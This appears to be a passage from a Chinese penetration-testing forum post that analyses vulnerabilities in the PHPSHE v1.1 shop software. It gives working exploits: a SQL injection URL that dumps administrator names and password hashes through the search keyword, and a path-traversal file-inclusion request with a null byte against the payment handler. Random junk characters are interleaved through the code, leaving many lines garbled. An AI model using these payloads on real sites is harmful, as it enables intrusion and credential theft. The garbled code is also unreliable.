+ K4 E4 d/ G" a
0×02 搜索注入, d, _) k! u" \8 m6 E/ I2 [
1 g/ {3 ]0 p3 ^/ ~
<code id="code2">
//product.php文件# I3 k& j/ S, Q2 h, W
case 'list':( Q$ s+ S1 }' f
$category_id = intval($id);6 q) C: s" Y' i& s8 y6 R% W' H9 T
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索/ d: d3 ^3 Q+ [( C2 F4 x
$sqlwhere = " and `product_state` = 1";* p* E9 J3 a/ }! c# f6 J6 ~; T
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}1 Y8 c) u6 |* `
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤$ Z8 r7 x2 P5 ?% @6 C. {# [) m
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);! w" {* M& F5 |" n. \
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}4 s% q( i8 M" F) `) |- a R
else {
$sqlwhere .= " order by `product_id` desc";
}) I2 G0 O7 F2 t: L. t' S
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();" i; j' v8 c# g& c5 D. v
//当前路径/ U- j4 q9 [4 ^4 c# K0 x* Z- L
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);1 `$ Z7 {( x: w& z
include(pe_tpl('product_list.html'));, N- B/ S+ z6 |' b8 H9 m+ P* b$ {* p
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句9 H P" n- h" z1 O' f2 O/ @
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1# N: z# }$ m5 n( G4 j$ k
</code>( \+ @6 O1 V0 L* d
! x. r5 H3 o0 F9 ]
0×03 包含漏洞2/ H8 K; N6 m' I0 o. I
- r5 A1 L! l" K2 h3 ]! R
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
J7 b8 i4 F J. Z' e' y
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
7 M7 q+ p( T0 M/ I
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
2 k, z; r( U ?$ A/ u4 U% g0 Y# ]
if ($k == 'bank') {
; p4 q" m ?% b ^# Z- {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
; R% \* @ u6 `9 u0 \
}
}
$ r: e! a) m9 F2 s& p
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
+ [" @1 \" w* o4 J
!$order['order_id'] && pe_error('订单号错误...');
) d9 I3 ~8 F! Z: z; g
if (isset($_p_pesubmit)) {
4 h0 A: j% C5 j7 T' d0 |! l
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
3 o2 b0 X8 p1 l; n9 p$ l' E. C) f
$order['order_name'] .= "{$v['product_name']};";$ s. }- H9 e8 }8 G6 U# B
2 D( b7 |6 `& l7 u1 B% T( u
}
5 L' E- I: f1 g, ^& G
echo '正在为您连接支付网站,请稍后...';
& a9 u ~ \0 E
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
6 @4 z5 o( n0 q! P" P. ~
}//当一切准备好的时候就可以进行"鸡肋包含了"
8 t9 n; l T$ K; r; Y
else {
pe_error('支付错误...');
}
% F% a; B D5 E7 M5 i$ v
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
5 n4 y& Y! W" \% g4 b) r" ]
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>! m& ]) _' P7 i* k8 E' y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |